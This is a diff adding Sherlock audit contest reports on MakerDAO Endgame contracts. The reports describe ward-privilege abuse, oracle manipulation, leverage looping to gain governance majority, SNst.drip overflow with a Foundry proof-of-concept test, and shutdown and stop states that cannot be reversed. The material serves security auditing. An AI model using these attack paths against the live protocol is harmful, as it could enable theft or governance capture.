+https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L197 +```javascript + function deny(address usr) external auth { +@> wards[usr] = 0; + emit Deny(usr); + } +``` +From the code, we know that an authorized user can revoke the authorization of all other users, including the auth authorization of LockstakeEngine to LockstakeClipper. As a result, LockstakeEngine cannot be liquidated. + +### Internal pre-conditions + +1. An address controlled by a malicious user was both authorized on the contract by governance. + + +### External pre-conditions + +_No response_ + +### Attack Path + + 1. An address controlled by a malicious user was both authorized on the contract by governance. + 2. The malicious user revokes the authorization of all other addresses through deny(). + + +### Impact + +Revoking the authorization of the liquidation module prevents LockstakeEngine from being liquidated, resulting in a loss of funds for the protocol. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/111.md b/111.md new file mode 100644 index 0000000..14df765 --- /dev/null +++ b/111.md @@ -0,0 +1,24 @@ +Fantastic Spruce Perch + +Medium + +# Oracle manipulation can affect flapper since OSM is not used + +## Summary +Oracle manipulation can affect flapper since OSM is not used + +## Vulnerability Detail +The [current version](https://etherscan.io/address/0xdbbe5e9b1daa91430cf0772fcebe53f6c6f137df#code) of PIP_MKR is not an implementation of OSM and hence the price is read as is without any delay and also lacks the freezing functionality in case of any malicious update +The flapper contracts uses this price to estimate how much of `gem` should be obtained when it sells `dai` and hence a malicious oracle operator collusion could result in malicious prices which would be used immediately by this contract. This can result in the flapper contract selling dai for very low prices causing a loss to the protocol + +## Impact +Malicious oracle operator collusion can cause flapper contract to sell dai at low prices + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/dss-flappers/deploy/FlapperInit.sol#L128 + +## Tool used +Manual Review + +## Recommendation +Implement OSM for MKR \ No newline at end of file diff --git a/112.md b/112.md new file mode 100644 index 0000000..1c6ae31 --- /dev/null +++ b/112.md @@ -0,0 +1,35 @@ +Proud Porcelain Antelope + +Medium + +# NGT minting is not possible via DssVest + +## Summary + +As stated in the [README](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/README.md?plain=1#L52), rewards are going to be generated through a `DssVestMintable`, therefore it should have access to mint NGT tokens. However, no `ngt.rely(vest)` is being made in neither the `VestInit`, nor any other place in the scope. + +## Vulnerability Detail + +As was stated in the ChainSecurity's MakerDAO Endgame Toolkit audit, item 6.2 "Vest Minting Not Possible": +> DssVestMintable.pay() calls the NGT token's mint() function to generate tokens for the vesting. +The function is guarded and can only be accessed by a ward. The DssVestMintable contract is +never set as a ward of the NGT contract. + +It's also stated in the audit that MakerDAO fixed the issue by adding the following line into the initialization script: `RelyLike(ngt).rely(vest);`. +In practice, it was not added, and the script still lacks this line. + +## Impact + +It is impossible for `VestedRewardsDistribution` to get rewards since `DssVest` won't be able to successfully execute the internal `pay` function. This leads to depositors of `stakingRewards` not getting their expected profit, which can be considered as a corresponding loss of funds for them. + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/script/dependencies/VestInit.sol#L31 + +## Tool Used + +Manual Review + +## Recommendation + +Add `ngt` as a parameter to `VestInit.init`, and add `RelyLike(ngt).rely(vest);` into `VestInit.init`. diff --git a/113.md b/113.md new file mode 100644 index 0000000..b77011c --- /dev/null +++ b/113.md @@ -0,0 +1,41 @@ +Silly Slate Cat + +Medium + +# Elevated Permission is required for rely and deny administration + +## Summary + +A compromised administrator already possessing auth access, can continually revert deny function on its address + +## Vulnerability Detail + +The permissions level of adding or removing an administrator is flat which can lead to a bunch of issues we will discuss in the impact. The flow of forcing revert of deny transaction on its address is: +- Compromised admin sees deny txn 1 in mempool +- Compromised Admin frontruns the deny txn 1 and call deny txn 2 on caller of previous deny txn 1 +- The deny txn 2 is successful and temporarily removes permission of caller of deny txn 1 +- deny txn 1 is reverted due with "Ngt/not-authorized" +- Malicious admin then optinally calls rely txn 1 on the deny txn 1 caller as the goal is just to force keep elevated txn +- This leads to sandwiching a deny txn with deny and rely every time it is called + +## Impact +If compromised admin is confirmed: +It impacts the `mint` function in all token contracts (nst, ngt and sdai) +It can also affect the `file` function in SNst.sol:file and VestedRewardsDistribution.sol:file + +This means a compromised admin can likely not be removed by other admins which has a high impact but medium likelihood and will cause a lot of gas (funds) to combat the frontrunning or run multiple txns from multiple admins to force deny the compromised admin + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/VestedRewardsDistribution.sol#L100-L112 + + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/ngt/src/Ngt.sol#L146 +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/VestedRewardsDistribution.sol#L119 + + +## Tool used + +Manual Review + +## Recommendation +- Use elevated permissions on rely and deny like owner or super admin \ No newline at end of file diff --git a/114.md b/114.md new file mode 100644 index 0000000..1ab77c1 --- /dev/null +++ b/114.md @@ -0,0 +1,38 @@ +Proud Porcelain Antelope + +High + +# Acquiring large amounts of MKR via leverage allows to unfairly utilize it + +## Summary + +In the LockstakeEngine it's possible to lock and utilize large amounts of MKR through leverage by looping. + +## Vulnerability Detail + +If a user locks (deposits) MKR into LockstakeEngine, draws (takes a loan of) DAI, converts it back into MKR (e.g. using a Uniswap pair), and locks that MKR back, they achieve leverage by looping these operations. +Considering `mat` in Ilk of LockstakeEngine to be set to a reasonable value of ~150%, max leverage can be estimated as $LEV = \sum\limits_{i = 0}^{\infty} \frac{1}{1.5^i} = \frac{1}{1 - \frac{1}{1.5}} = 3$. So for each real MKR a user initially has, they can get about 3 MKR locked in LockstakeEngine, and use that locked MKR for VoteDelegate and Farm. +In common cases of leverage, the user only gains these 2 extra MKR "on paper" and therefore is unable to use them in any way, except for being more exposed to the price movements. +However, in our case the user will be able to loop and gain 3x leverage on locked MKR, which they can use in both VoteDelegate and Farm. + +## Impact + +Users who utilize leverage: +1) will have three times more voting power than intended, which allows them to gain a majority of the voting power while initially holding just a portion of the MKR. Let’s say that some user has 17% of total amount of MKR participating in voting. Through leverage, they will gain 51% locked in LockstakeEngine, while other users combined only have 49%, making that user the majority holder of voting power. This leads to our user being able to execute any spell they would like to. For example, they could transfer all tokens that the PauseProxy holds to their own address, which totals to about 170 millions of USD, as of August 5th, 2024, while 17% of MKR participating in voting totals to about 43 millions of USD, as of August 5th, 2024. +2) will receive farming rewards, that are three times larger, at the expense of other users, leading to a loss of funds for those users. + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L260-L272 +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L287-L295 +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L309-L313 +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L382-L389 + +## Tool Used + +Manual Review + +## Recommendation + +Don't allow user to draw (take a loan), while he has active VoteDelegate or Farm. +This change ensures the user is unable to use locked MKR gained by leverage for unfair voting or Farm. \ No newline at end of file diff --git a/115.md b/115.md new file mode 100644 index 0000000..5727fec --- /dev/null +++ b/115.md @@ -0,0 +1,80 @@ +Refined Scarlet Seagull + +Medium + +# Liquidation auctions for MKR are unnecessary, leak value, and increases bad debt accumulation + +### Summary + + +The current MKR liquidation design in the LockstakeEngine (LSE) and LockstakeClipper results in significant value leakage and bad debt accumulation. + +The process follows [the established pattern for external collateral assets](https://docs.makerdao.com/smart-contract-modules/dog-and-clipper-detailed-documentation). However, MKR is an internally owned (burnable and mintable) collateral. Thus, the cycle of[ first market selling MKR](https://docs.makerdao.com/smart-contract-modules/dog-and-clipper-detailed-documentation#vault-liquidation) during liquidations to arbitrageurs and paying for liquidations incentives, and later possibly buying it back [through the flapper mechanism ](https://docs.makerdao.com/smart-contract-modules/system-stabilizer-module/flap-detailed-documentation)if a surplus is generated, is unnecessary and leaks a large amount of value (mostly during the liquidation auctions). Over time this leakage can be estimated to easily be above 0.5% or even 5% of protocol reserves. + +Selling it in liquidation auctions to arbitrageurs, when the price is low, leaks value due to the necessity of arbitrage profits, gas prices, and keeper incentives. By replacing this process with immediate MKR burning during liquidations, and only selling through flopper auctions if and when necessary, in larger lots, and more controlled pace, the protocol could significantly reduce value leakage, and either reduce bad debt accumulation or increase profits. + + +### Root Cause + +The root cause of this issue lies in the design of the liquidation and surplus auction processes which is designed with immutable assets in mind and is unsuitable for an internally owned asset: + +1. MKR is sold in [liquidation auctions](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol#L229-L271) when positions become unsafe, at unfavorable rates due to the market conditions that triggered the liquidations. +2. Surplus DAI accumulates in the vow, which is then possibly used to buy MKR through the flapper (Splitter) mechanism, again from the open market. +3. This cycle of selling low (and maybe buying later) leads to value leakage through multiple inefficiencies: + - Liquidation auctions, via many separate lots, incur gas costs, external profits, and keeper incentives ([chips and tips](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol#L259-L265)). + - MKR is often sold when its price is low during market stress and high gas prices. + - The [take discount needs to generate arbitrage profits, cover high gas costs](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol#L332-L426), reduced liquidity (slippage), and opportunity costs for the bots, so is considerably lower than market price. + - Liquidations put additional, correlated, and uncontrollable selling pressure on the asset price, exacerbating the problem further, and compounding the problem of "selling-low". The additional pressure even risks liquidation cascades and additional bad debt. + + +In comparison, [using flopper auctions](https://docs.makerdao.com/smart-contract-modules/system-stabilizer-module/flop-detailed-documentation) has the following advantages: +- Larger lots, better capital efficiency. +- Smaller in total size due to cancelling out with protocol surplus and various thresholds. +- Smaller in total size since exact debt (and not `chop` multiplied equivalent debt) needs to be covered. +- Controllable and more gradual pace. +- Decoupled in time from short term market wide price action. +- Decoupled in time from gas prices spikes. +- Decoupled in time from market wide liquidity reduction (high slippage), and high arbitrageur opportunity costs. +- Reduced risk of incentive farming (since chip and tip can be smaller, and collateral cannot be bought back during liquidation) + +### Internal pre-conditions + +n/a + +### External pre-conditions + +- Market volatility leading over time to significant cumulative liquidation volume. + +### Attack Path + +1. Market wide price decline reduces MKR price making a large amount of liquidations necessary. +2. Liquidation auctions are triggered at the depressed, low price, and high gas prices. +3. Protocol pays incentives in the form of chip and tip to the keepers. +5. The collateral is than sold to takers, but the price is not only low due to market conditions, but also the final take discount needs to generate arbitrage profits, cover high gas costs, reduced liquidity (slippage), and opportunity costs for the bots, so is considerably lower than market price. +6. The MKR auctions cause further price decline, triggering additional liquidations, and further protocol losses. + +### Impact + +Because the chop [(liquidation penalty) is commonly set to 113%](https://jetstreamgg.notion.site/Lock-Stake-Engine-7a5beb3d5d814bcfab331bf39e279c18), it's reasonable to conclude that liquidation process inefficiency is up to 13% loss. I'll assume a more conservative 5% leakage below. The exact number is likely to vary, but regardless of the exact figure, the inefficiencies accumulate over time. + +The impact of this inefficiency is substantial: + +1. Value Leakage: Assuming the conservative 5% value leakage on MKR sold in liquidation auctions, when cumulative liquidation volume reaches 10M USD, approximately 500K USD will be lost to inefficiencies. This is equivalent to a [0.5% loss vs. the assumed 100M protocol reserves figure](https://github.com/makerdao/sherlock-contest/blob/master/README.md#severity-definitions. +2. Long-term Losses: Over a prolonged period (years), when cumulative liquidations reach 100M USD, the total value leaked could be as high as 5M USD, or [5% of assumed protocol reserves](https://github.com/makerdao/sherlock-contest/blob/master/README.md#severity-definitions). +3. Increased Bad Debt: The inefficient process may lead to increased bad debt accumulation, as the protocol consistently sells MKR at unfavorable prices, and risk bad debt generation due to exacerbating liquidation cascades. +4. Reduced Protocol Sustainability: Continuous value leakage reduces the protocol's ability to maintain a healthy balance sheet and manage risk effectively. + + +### PoC + +n/a + +### Mitigation + + +Simplify the current liquidation auction process by replacing it with MKR burning: +- When a position becomes unsafe, on LockstakeClipper's `kick` can avoid initiating any auctions. +- Instead `onKick` will burn the full chopped amount of MKR. +- The `chip` and `tip` for this clipper may be much smaller. +- The callback process can be simplified to a single step (`onKick`). +- Conversely, the clipper's `take` and `redo` can be removed as well. diff --git a/116.md b/116.md new file mode 100644 index 0000000..176c1e8 --- /dev/null +++ b/116.md @@ -0,0 +1,267 @@ +Unique Pistachio Chipmunk + +Medium + +# SNst.drip() will eventually stop working due to overflow of totalSupply_ * nChi as nChi will growing exponentially large. + +### Summary + +```SNst.drip()``` will eventually stop working due to overflow of ```totalSupply_ * nChi``` as ```nChi``` will growing exponentially large. ```nChi``` will grows monotonically and will never decrease. Even though it is near 1 RAY in the beginning, due the exponential growth nature, eventually it will be a huge value. + +Meanwhile, due to the scaling of ```Nst```, ```totalSupply``` might reach as big as 100B there or even bigger due to inflation of Dollar. +As a result, we will have an overflow issue for ```totalSupply_ * nChi``` and ```SNst.drip()``` will stop working. + +The contract will stop working in 20 yrs for nsr = 1000000121979553151239153027 and total supply = 100B nst. + +### Root Cause + +```nChi``` will growing exponentially large. ```totalSupply``` could also be a large number. + +[https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L214-L229]*https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L214-L229) + +### Internal pre-conditions + +None + +### External pre-conditions + +Enough time passed. and supply is also large. + +### Attack Path + +Consider +1. nsr =1000000001547125957863212448 (the value given in the test file) +2. Supply = 100 * 10**9 * 10**18, 100B ether of NST. This number is likely bigger in the future. +3. After 1000 years, we have + Supply = 100000000000000000000000000000, 29 digits + nChi = 1546318920731927181653166515234601763843338427037, 49 digts +As a result, there is an overflow for Supply * nChi. the drip() function will revert and not work +Our POC proves this finding. +4. If we consider nsr = 1000000121979553151239153027 and total supply = 100 B nst, then after 20 years, drip() will not work due to overflow. + +### Impact + +This drip() will not work eventually due to too big nChi. It might stop working after decades for larger nsr and stop working after 20 years with nsr =1000000121979553151239153027 . + +### PoC + +riun ``` forge test --match-test testVow1 -vv```. + +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +// Copyright (C) 2021 Dai Foundation +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU Affero General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU Affero General Public License for more details. +// +// You should have received a copy of the GNU Affero General Public License +// along with this program. If not, see . + +pragma solidity ^0.8.21; + +import "erc4626-tests/ERC4626.test.sol"; +import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; + +import { VatMock } from "test/mocks/VatMock.sol"; +import { NstMock } from "test/mocks/NstMock.sol"; +import { NstJoinMock } from "test/mocks/NstJoinMock.sol"; + +import { SNst } from "src/SNst.sol"; + +contract SNstERC4626Test is ERC4626Test { + + using stdStorage for StdStorage; + + VatMock vat; + NstMock nst; + NstJoinMock nstJoin; + address vow; + + SNst sNst; + + uint256 constant private RAY = 10**27; + + function setUp() public override { + vat = new VatMock(); + nst = new NstMock(); + nstJoin = new NstJoinMock(address(vat), address(nst)); + vow = 0xA950524441892A31ebddF91d3cEEFa04Bf454466; + + /* + function suck(address u, address v, uint rad) external note auth { + sin[u] = add(sin[u], rad); + dai[v] = add(dai[v], rad); + vice = add(vice, rad); + debt = add(debt, rad); + } + */ + + nst.rely(address(nstJoin)); + vat.suck(address(123), address(nstJoin), 100_000_000_000 * 10 ** 45); + + sNst = SNst(address(new ERC1967Proxy(address(new SNst(address(nstJoin), address(vow))), abi.encodeCall(SNst.initialize, ())))); + console2.log("initial sNst.chi:", sNst.chi()); + vat.rely(address(sNst)); + + /* + function file(bytes32 what, uint256 data) external auth { + if (what == "nsr") { + require(data >= RAY, "SNst/wrong-nsr-value"); + require(rho == block.timestamp, "SNst/chi-not-up-to-date"); + nsr = data; + } else revert("SNst/file-unrecognized-param"); + emit File(what, data); + } + */ + sNst.file("nsr", 1000000001547125957863212448); // or 1000000121979553151239153027 + + vat.hope(address(nstJoin)); + + + _underlying_ = address(nst); + _vault_ = address(sNst); + _delta_ = 0; + _vaultMayBeEmpty = true; + _unlimitedAmount = false; + } + + function printBalances(address a, string memory name) public{ + console2.log("==================================================="); + console2.log("Balances of ", name); + console2.log("snt balance: ", sNst.balanceOf(a)); + console2.log("nst balance: ", nst.balanceOf(a)); + console2.log("vat sin: ", vat.sin(a)); + console2.log("vat dai: ", vat.dai(a)); + console2.log("uint.max: ", type(uint256).max); + console2.log("==================================================="); + + } + + function testVow1() public{ // try to overflow vow + uint256 amount = 100 * 10**9 * 10**18; // 100 billion NST + + address Bob = makeAddr("Bob"); + deal(address(nst), Bob, amount); + + vm.startPrank(Bob); + nst.approve(address(sNst), amount); // nst deposit + sNst.deposit(amount, Bob); + vm.stopPrank(); + + skip(1000 * 365 days); + sNst.drip(); + + printBalances(address(vow), "Vow"); + printBalances(address(Bob), "Bob"); + printBalances(address(sNst), "sNst"); + + + } + + + function testMe() public{ + address Bob = makeAddr("Bob"); + deal(address(nst), Bob, 1000 ether); + + + vm.startPrank(Bob); + nst.approve(address(sNst), 10**7); + sNst.deposit(10**7, Bob); + vm.stopPrank(); + + + console2.log("test me..."); + skip(12); + sNst.drip(); + + printBalances(address(Bob), "Bob"); + printBalances(address(sNst), "sNst"); + + skip(12); + sNst.drip(); + + printBalances(address(Bob), "Bob"); + console2.log("sNst.chi:", sNst.chi()); + + console2.log("\n Before Bob deposit 100 ether..."); + printBalances(address(sNst), "sNst"); + printBalances(address(Bob), "Bob"); + + vm.startPrank(Bob); + nst.approve(address(sNst), 100 ether); + sNst.deposit(100 ether, Bob); + vm.stopPrank(); + + console2.log("\n After Bob deposit 100 ether..."); + printBalances(address(sNst), "sNst"); + printBalances(address(Bob), "Bob"); + + skip(2 weeks); + console2.log("\n After 2 weeks... before Bob withdraw 100 ether of nst..."); + printBalances(address(sNst), "sNst"); + printBalances(address(Bob), "Bob"); + + vm.startPrank(Bob); + sNst.withdraw(100 ether, Bob, Bob); // asets receiver owner + vm.stopPrank(); + + console2.log("\n After Bob withdraw 100 ether of nst..."); + printBalances(address(sNst), "sNst"); + printBalances(address(Bob), "Bob"); + + vm.startPrank(Bob); + sNst.redeem(sNst.balanceOf(Bob), Bob, Bob); // asets receiver owner + vm.stopPrank(); + + console2.log("\n After Bob redeems the rest of shares..."); + printBalances(address(sNst), "sNst"); + printBalances(address(Bob), "Bob"); + + } + + // setup initial vault state + function setUpVault(Init memory init) public override { + for (uint256 i = 0; i < N; i++) { + init.share[i] %= 1_000_000_000 ether; + init.asset[i] %= 1_000_000_000 ether; + vm.assume(init.user[i] != address(0) && init.user[i] != address(sNst)); + } + super.setUpVault(init); + } + + // setup initial yield + function setUpYield(Init memory init) public override { + vm.assume(init.yield >= 0); + init.yield %= 1_000_000_000 ether; + uint256 gain = uint256(init.yield); + + uint256 supply = sNst.totalSupply(); + if (supply > 0) { + uint256 nChi = gain * RAY / supply + sNst.chi(); + uint256 chiRho = (block.timestamp << 192) + nChi; + vm.store( + address(sNst), + bytes32(uint256(5)), + bytes32(chiRho) + ); + assertEq(uint256(sNst.chi()), nChi); + assertEq(uint256(sNst.rho()), block.timestamp); + vat.suck(address(sNst.vow()), address(this), gain * RAY); + nstJoin.exit(address(sNst), gain); + } + } + +} +``` + +### Mitigation + +Not sure how to fix this. \ No newline at end of file diff --git a/119.md b/119.md new file mode 100644 index 0000000..0b51843 --- /dev/null +++ b/119.md @@ -0,0 +1,34 @@ +Fantastic Spruce Perch + +Medium + +# Lack of deadline parameter in `take` can cause losses for the taker + +## Summary + +## Vulnerability Detail +The `take` function doesn't have a deadline parameter +[gh link](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol#L332-L338) +```solidity + function take( + uint256 id, // Auction id + uint256 amt, // Upper limit on amount of collateral to buy [wad] + uint256 max, // Maximum acceptable price (DAI / collateral) [ray] + address who, // Receiver of collateral and external call address + bytes calldata data // Data to pass in external call; if length 0, no call is done + ) external lock isStopped(3) { +``` + +A taker will call the take function when it is obtainable at no worse than open market price. But this estimation can become incorrect if the transaction doesn't get executed within a short timeframe and the price of the collateral decreases at a faster pace than the auction pricing. This will cause the taker to effectively suffer a loss + +## Impact +Taker's/setup arbitrage bots can effectively loose value in times of network congestion and asset price decline + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol#L332-L338 + +## Tool used +Manual Review + +## Recommendation +Add a deadline parameter to restrict the allowed time for tx execution \ No newline at end of file diff --git a/120.md b/120.md new file mode 100644 index 0000000..ef0ec47 --- /dev/null +++ b/120.md @@ -0,0 +1,30 @@ +Dry Foggy Terrier + +High + +# Contract is bricked after calling `stop` + +## Description + +Whenever there are discrepancies or irregularities and the protocol decides to stop or halt the `kick` process, there is currently no implementation to revert back to the initial state in `SplitterMom`. + +The `stop` calls the `splitter.file` with a new data of `type(uint256).max` as hop which will make it difficult to pass the below check :- +- `require(block.timestamp >= zzz + hop, "Splitter/kicked-too-soon");` + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/dss-flappers/src/SplitterMom.sol#L79-L83 + +## Impact + +Contract is stuck and `kick` can no longer be called. + + +## POC +```solidity + function stop() external auth { //@audit there is no way to resume back after halting the operations. it will become impossible to call Splitter::Kick + splitter.file("hop", type(uint256).max); + emit Stop(); + } +``` +## Recommendation + +Implement a functionality that allows resetting the ` splitter.file` back to a more recent timestamp diff --git a/121.md b/121.md new file mode 100644 index 0000000..e495599 --- /dev/null +++ b/121.md @@ -0,0 +1,109 @@ +Amateur Pineapple Hyena + +Medium + +# Overflow risk not handled in SNst::drip, which might DOS SNst + +## Summary +`SNst::drip` is at risk of revert caused by a potential unhandled overflow condition. This results in key functions such deposit, withdraw, redeem DOS. + +## Vulnerability Detail +In SNst::drip, interest rate (`nsr`) is in RAY precision and compounding every second. There are two potential overflow cases that are not handled. +(1) `_rpow(nsr, block.timestamp - rho_)` overflow +Although low probability, if `_rpow(nsr, block.timestamp - rho_)` overflow, _rpow() will simply revert the transaction, instead of returning an overflow flag to allow proper handling. +```solidity +//sdai/src/SNst.sol + function _rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { +... + let xxRound := add(xx, half) + if lt(xxRound, xx) { + |> revert(0, 0) + } +... + let zx := mul(z, x) + if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { +|> revert(0, 0) + } +... + let zxRound := add(zx, half) + if lt(zxRound, zx) { +|> revert(0, 0) + } +``` +(https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/sdai/src/SNst.sol#L170) + +(2) `(totalSupply_ * nChi)` overflow +`nChi` is the new compounding accumulator which grow exponetially over time. And `totalSupply_` can also grow significantly over time. When a call to drip() cause the `(totalSupply_ * nChi)` to overflow, it causes the same effect of drip() revert. +```solidity +//sdai/src/SNst.sol + + function drip() public returns (uint256 nChi) { +... + nChi = _rpow(nsr, block.timestamp - rho_) * chi_ / RAY; + uint256 totalSupply_ = totalSupply; + |> diff = totalSupply_ * nChi / RAY - totalSupply_ * chi_ / RAY; +... +``` +(https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/sdai/src/SNst.sol#L220) + +Because `drip()` is invoked in critical functions such as depost, withdraw or redeem, `drip()` reverting will disable asset deposit and redeem. +```solidity +//sdai/src/SNst.sol + function withdraw(uint256 assets, address receiver, address owner) external returns (uint256 shares) { + shares = _divup(assets * RAY, drip()); + _burn(assets, shares, receiver, owner); + } +``` +(https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/sdai/src/SNst.sol#L391) + +## Impact +This results in key functions such deposit, withdraw, redeem DOS. +## Code Snippet +```solidity + function drip() public returns (uint256 nChi) { + (uint256 chi_, uint256 rho_) = (chi, rho); + uint256 diff; + if (block.timestamp > rho_) { + nChi = _rpow(nsr, block.timestamp - rho_) * chi_ / RAY; + uint256 totalSupply_ = totalSupply; + diff = totalSupply_ * nChi / RAY - totalSupply_ * chi_ / RAY; + vat.suck(address(vow), address(this), diff * RAY); + nstJoin.exit(address(this), diff); + chi = uint192(nChi); // safe as nChi is limited to maxUint256/RAY (which is < maxUint192) + rho = uint64(block.timestamp); + } else { + nChi = chi_; + } + emit Drip(nChi, diff); + } +``` +(https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/sdai/src/SNst.sol#L214-L228) +## Tool used + +Manual Review + +## Recommendation +Consider checking overflow for all conditions, and if the overflow flag is true, do not compound new interest. +For example, +```diff +- function _rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { ++ function _rpow(uint256 x, uint256 n) internal pure returns (uint256 z, bool overflow) { +... + let xxRound := add(xx, half) + if lt(xxRound, xx) { +- revert(0, 0) ++ overflow := 1 ++ break +... + function drip() public returns (uint256 nChi) { + (uint256 chi_, uint256 rho_) = (chi, rho); + uint256 diff; + if (block.timestamp > rho_) { ++ unchecked { ++ (uint256 multiplier, bool overflow) = _rpow(nsr, block.timestamp - rho_) ++ if (!overflow) { ++ nChi = chi * multiplier; ++ if(chi == nChi / multiplier) { ++ nChi = nChi / RAY; +... +``` \ No newline at end of file diff --git a/122.md b/122.md new file mode 100644 index 0000000..aaa2792 --- /dev/null +++ b/122.md @@ -0,0 +1,56 @@ +Dry Foggy Terrier + +High + +# System cannot be turned back on after shutdown Period + +## Description + +In `Splitter.sol`, There is a variable `live` which is set to `1` upon deployment and to `0` when the contract is `caged` during global shutdown. The shutdown period is meant to be activated whenever there are discrepancies in the protocol. However, the current implementation does not make provision for activating the system back on after the issue might have been mitigated + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/dss-flappers/src/Splitter.sol#L122-L126 + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/dss-flappers/src/Splitter.sol#L98-L120 + +## Impact +Contract is stuck and cannot be made `live` anymore due to no provision for the implementation. +Furthermore, the main core functionality of the `Splitter` contract which is `Kick` will no longer be callable, as it can only be called when `live == 1` + +```solidity + function kick(uint256 tot, uint256) external auth returns (uint256) { + @-> require(live == 1, "Splitter/not-live"); //@audit + + require(block.timestamp >= zzz + hop, "Splitter/kicked-too-soon"); + zzz = block.timestamp; + + vat.move(msg.sender, address(this), tot); + + uint256 lot = tot * burn / RAD; + if (lot > 0) { + DaiJoinLike(daiJoin).exit(address(flapper), lot); + flapper.exec(lot); + } + + uint256 pay = (tot / RAY - lot); + if (pay > 0) { + DaiJoinLike(daiJoin).exit(address(farm), pay); + farm.notifyRewardAmount(pay); + } + + emit Kick(tot, lot, pay); + return 0; + } +``` + +## POC + +```solidity + function cage(uint256) external auth { //@audit no function to uncage and reset live back to 1. will no longer be able to kick + live = 0; + emit Cage(0); + } +``` + +## Recommendation + +Implement a function that allows resetting the `live` back to initial state after the system must have cooled down. diff --git a/124.md b/124.md new file mode 100644 index 0000000..8d4fc6e --- /dev/null +++ b/124.md @@ -0,0 +1,44 @@ +Interesting Blood Aardvark + +Medium + +# Old and malicious wards can take over other wards privileges + +## Summary +Old wards (authorized addresses) retain their privileges across contract upgrades and can remove all new or old wards. + +## Vulnerability Detail +The current implementation of the wards system does not reset or update ward status during upgrades. This means that all previously authorized addresses retain their privileges, and they can remove new wards added during an upgrade. + +## Impact +This creates a potential centralization risk and could lead to unexpected behavior in the authorization system after upgrades. It may allow outdated or compromised ward addresses to maintain control over the contract. + +## Code Snippet +[Nst.sol](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/nst/src/Nst.sol#L1) +```solidity +function initialize() initializer external { + __UUPSUpgradeable_init(); + wards[msg.sender] = 1; + emit Rely(msg.sender); +} + +function deny(address usr) external auth { + wards[usr] = 0; + emit Deny(usr); +} +``` + +## Tool used +Manual Review + +## Recommendation +Implement a more robust authorization system that is upgrade-aware. Consider using OpenZeppelin's `AccessControlUpgradeable` or create a custom system that allows for resetting or updating ward status during upgrades. For example: + +```solidity +function _authorizeUpgrade(address newImplementation) internal override auth { + // Reset all wards + // Add new wards or transfer existing ones as needed +} +``` + +A timelock can also be helpful. diff --git a/126.md b/126.md new file mode 100644 index 0000000..3ae2c38 --- /dev/null +++ b/126.md @@ -0,0 +1,26 @@ +Interesting Blood Aardvark + +Medium + +# A compromissed ward can take over all Nst contract + +## Summary +There is no timelock for upgrades, which can be dangerous in case of admin key compromise as it allows for immediate, potentially malicious upgrades. + +## Vulnerability Detail +The current implementation allows any address with ward status to upgrade the contract immediately without any delay or additional checks. This lack of a timelock mechanism creates a single point of failure if an admin key is compromised. + +## Impact +A compromised admin could instantly upgrade the contract to a malicious implementation, potentially breaking invariants, stealing funds, or causing other severe damage to the system and its users. + +## Code Snippet +[Nst.sol](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/nst/src/Nst.sol#L1) +```solidity +function _authorizeUpgrade(address newImplementation) internal override auth {} +``` + +## Tool used +Manual Review + +## Recommendation +Implement a timelock mechanism for upgrades. This could be done by integrating with a separate timelock contract such as OZ TimelockController or by implementing a built-in delay. This approach provides a window for users to react to proposed upgrades and helps mitigate the risk of malicious immediate upgrades. \ No newline at end of file diff --git a/invalid/.gitkeep b/invalid/.gitkeep new file mode 100644 index 